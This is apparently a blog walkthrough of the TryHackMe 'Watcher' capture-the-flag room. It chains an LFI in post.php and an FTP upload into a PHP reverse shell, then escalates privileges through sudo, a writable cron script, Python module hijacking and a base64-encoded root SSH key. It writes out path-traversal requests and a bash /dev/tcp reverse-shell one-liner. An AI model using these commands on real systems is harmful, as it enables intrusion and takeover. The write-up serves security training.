Skip to main content

Command Palette

Search for a command to run...

Watcher

Updated
•8 min read•View as Markdown

Lab Info

Detail Info
Room Watcher
Platform TryHackMe
Difficulty Medium
Type CTF / Linux Boot2Root — LFI to RCE + Multi-Stage PrivEsc
Knowledge Required Web, LFI, FTP, Cron, Python, Linux Groups/Permissions

Tools Used

  • Nmap — Port scanning

  • Gobuster / dirb — Directory enumeration

  • Browser — Poking post.php's LFI parameter

  • FTP client — Retrieving flag_2 and uploading the reverse shell

  • PHP Reverse Shell — Initial foothold as www-data

  • Netcat — Catching every reverse shell in the chain

  • id / group enumeration — Spotting the adm group membership that leads to root

First Impressions

Seven flags, one box, one clean ladder to climb: www-data → toby → mat → will → root. Nothing here needs anything exotic — it's LFI turned into RCE via an FTP upload, then three privilege escalations that are all the same idea wearing different clothes: something running as a higher-privileged user trusts a file (or a group membership) that a lower-privileged actor can touch.

Recon

nmap -sC -sV <ip>
PORT   STATE SERVICE
21/tcp open  ftp     (no anonymous login)
22/tcp open  ssh
80/tcp open  http

Three ports. FTP with anonymous login off almost always means the creds live somewhere on the web side, so that's where I went. The landing page itself was mostly filler product/blog content — nothing to grab onto directly. Ran a directory scan and checked robots.txt at the same time.

gobuster dir -u http://<ip> -x php,txt -w <wordlist>

Found robots.txt

robots.txt — Not Hiding Anything, Actually Pointing At It

Not a Disallow — an Allow. Whoever wrote this basically pointed a finger at both files instead of hiding them. /flag_1.txt loads straight away, flag one done.

/secret_file_do_not_read.txt on the other hand comes back 403 Forbidden on direct request — something's gating that specific path, but the name and the "allow" entry both scream "come back for this."

Finding the LFI

Browsing the site itself, clicking into a product/post image calls post.php with a query string:

post.php?post=bunch.php

A parameter that reads in a filename off disk is worth testing immediately for path traversal.

post.php?post=../../../../etc/passwd

No filtering at all — /etc/passwd comes straight back. Three non-default users worth remembering: will, mat, toby.

Since arbitrary file read works through the app itself, the secret_file_do_not_read.txt that 403'd on direct access goes right through the LFI instead:

post.php?post=secret_file_do_not_read.txt

That earlier 403 was clearly just a rule blocking direct requests to that one path — it says nothing about what the app itself can include. The file turns out to be a note, from Will to Mat, laying out the FTP credentials and confirming where uploads land on disk (/home/ftpuser/ftp/files). Basically handed the next foothold on a plate.

FTP → Uploading a Shell Through the LFI

Logging in with the leaked FTP creds:

ftp> ls
drwxr-xr-x   files
-rw-r--r--   flag_2.txt
ftp> get flag_2.txt
ftp> cd files
ftp> ls
(empty, but writable)

flag_2 grabbed straight off the FTP root. The files/ directory is empty but writable — and per the note, it maps directly under the webroot at /home/ftpuser/ftp/files. FTP gives write, the LFI gives include-and-execute. Upload a PHP reverse shell there and trigger it through post.php?post=, and that's code execution.

ftp> put reverse.php

Netcat listener up, then trigger:

/post.php?post=/home/ftpuser/ftp/files/reverse.php

Shell caught — www-data.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Flag 3 — Sitting in the Webroot

Before touching privilege escalation, a quick poke around turns up a folder called more_secrets_a9f10a/ with flag_3.txt inside — readable straight away as www-data, no privesc needed for this one.

PrivEsc #1 — www-data → toby (Unrestricted sudo)

sudo -l
(toby) NOPASSWD: ALL

www-data can run absolutely anything as toby, no password. No need to pop a shell for this one — it's a direct hop:

sudo -u toby /bin/bash

Now toby. His home directory has flag_4.txt

and a note.txt from Mat:

I've got the cron jobs set up now so don't worry about getting that done.

pointing straight at cron.

PrivEsc #2 — toby → mat (Writable Cronjob)

cat /etc/crontab
*/1 * * * * mat /home/toby/jobs/cow.sh

cow.sh runs every minute as mat, but it lives in toby's jobs/ directory and toby owns it. Textbook cron privesc: a low-privileged user controls a file a higher-privileged one executes on a timer.

cat /home/toby/jobs/cow.sh
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg

Doesn't matter what it normally does — I can overwrite it outright:

echo 'bash -i >& /dev/tcp/<ip>/4444 0>&1' > /home/toby/jobs/cow.sh

Netcat listener up, wait up to a minute for the cron tick to fire — mat. His home directory has flag_5.txt and another note, this time about sudo rights to run a python script as will.

PrivEsc #3 — mat → will (Python Library Hijacking)

sudo -l
(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

Inside scripts/:


import os, sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
    print("Invalid command!")
    exit()
os.system(cmd)
def get_command(num):
    if num == "1": return "ls -lah"
    if num == "2": return "id"
    if num == "3": return "cat /etc/passwd"

will_script.py is locked down, but it imports get_command from cmd.py — and cmd.py is a file mat can write to. Doesn't matter how tight the whitelist in will_script.py is if I control the module it imports before that check even runs.

# overwrite cmd.py
import pty
def get_command(num):
    pty.spawn("/bin/bash")
    if num == "1": return "ls -lah"
    if num == "2": return "id"
    if num == "3": return "cat /etc/passwd"
sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1

The import statement runs cmd.py top-to-bottom before get_command() is even called properly — the injected pty.spawn fires and drops a shell as will, before the script's own logic gets a say. His home directory has flag_6.txt.

PrivEsc #4 — will → root (Group Membership → Encoded SSH Key)

Running sudo -l as the user will prompts for a password that is not provided or stored anywhere on the box. Therefore, standard sudo configuration exploits are unavailable. Instead, we must check the user's secondary group memberships using the id command, which reveals that will belongs to the adm group.

id
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)

will is in the adm group — commonly given read access to logs, but worth checking what else it opens up:

find / -group adm -readable 2>/dev/null

Turns up /opt/backups/key.b64, owned by root but group-readable by adm — exactly the kind of thing that group membership was never meant to expose.

cat /opt/backups/key.b64 | base64 -d > /tmp/root_key
chmod 600 id_rsa

Decodes clean into a private key. Serve it back to the attacker box first if the shell's shaky, then:

ssh -i /tmp/root_key root@127.0.0.1 -t -o StrictHostKeyChecking=no -o PubkeyAcceptedKeyTypes=+ssh-rsa

Root. flag_7.txt waiting in /root.

Flag Summary

Flag Location / Method
flag_1 robots.txt → served directly
flag_2 FTP root, retrieved with leaked FTP creds
flag_3 /var/www/html/more_secrets_a9f10a/ — readable as www-data
flag_4 toby's home directory, after sudo -u toby /bin/bash
flag_5 mat's home directory, after hijacking the cow.sh cronjob
flag_6 will's home directory, after hijacking cmd.py
flag_7 /root, after SSH with the key decoded from /opt/backups/key.b64

Key Takeaways

  1. Unfiltered path parameters are still everywhere. post.php?post= did zero validation on the filename — no whitelist, no basename(), nothing stopping ../ traversal.

  2. A 403 on one path doesn't mean the file is actually protected. secret_file_do_not_read.txt blocked direct access but was fully readable through the app's own LFI. Access control needs to live where the file is actually served from, not bolted onto one specific route.

  3. FTP write + LFI read is a classic RCE combo. Neither bug alone gets code execution — together, upload-then-include does.

  4. "Something privileged trusts a file a less-privileged user can write to" is one pattern wearing two costumes here — a cron script and an imported python module. Once it clicks once, it's easy to spot everywhere else on the box.

  5. Secondary group memberships are worth checking explicitly. adm isn't usually thought of as a privesc vector, but here it was the entire reason the encoded root key was readable at all — find -group <name> -readable is worth running any time id shows an unfamiliar group.

  6. Encoding isn't encryption. Base64'ing a private key on disk doesn't protect it from anyone who can already read the file.

Solid room for building real muscle memory on LFI-to-RCE chaining and for training the eye to spot "privileged process trusts something writable" as a repeatable pattern rather than a one-off trick. Thanks to @rushisec for the room.

23 views